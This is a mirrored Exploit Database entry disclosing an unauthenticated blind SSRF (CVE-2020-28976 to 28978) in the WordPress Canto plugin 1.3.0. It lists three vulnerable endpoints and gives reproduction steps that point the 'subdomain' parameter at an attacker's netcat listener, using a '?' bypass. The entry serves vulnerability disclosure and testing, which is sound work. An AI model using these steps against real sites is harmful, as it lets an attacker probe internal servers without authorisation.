WordPress Plugin Canto 1.3.0 – Blind SSRF (Unauthenticated)

• Exploit Database
• 130 阅读

• 作者： Pankaj Verma
  日期： 2020-12-04
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/49189/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27

  # Exploit Title: WordPress Plugin Canto 1.3.0 - Blind SSRF (Unauthenticated) # Date: 03/12/2020 # Exploit Author: Pankaj Verma (_p4nk4j) # Vendor Homepage: https://www.canto.com/integrations/wordpress/ # Software Link: https://github.com/CantoDAM/Canto-Wordpress-Plugin # Version: 1.3.0 # Tested on: Ubuntu 18.04 # CVE: CVE-2020-28976, CVE-2020-28977, CVE-2020-28978     Description:- The Canto plugin 1.3.0 for WordPress contains Blind SSRF Vulnerabilities. It allows an unauthenticated attacker to make a request to any Internal and External Server via "subdomain" parameter.   Vulnerable Parameters and Endpoints:- https://target/wp-content/plugins/canto/includes/lib/detail.php?subdomain= https://target/wp-content/plugins/canto/includes/lib/get.php?subdomain= https://target/wp-content/plugins/canto/includes/lib/tree.php?subdomain=   Steps To Reproduce:- 1. Start a Netcat Listener on any port For e.g. 4499 2. Navigate to "<wordpress_server>/wp-content/plugins/canto/includes/lib/detail.php?subdomain=" 3. Add the Attacker&apos;s IP and Port For e.g. "172.17.0.1:4499?" to "subdomain=" parameter. 4. Observe the response we got from the Target on Attacker&apos;s Listener.   Note:- Using "?" in the payload is mandatory as it acts as a bypass to conduct this attack.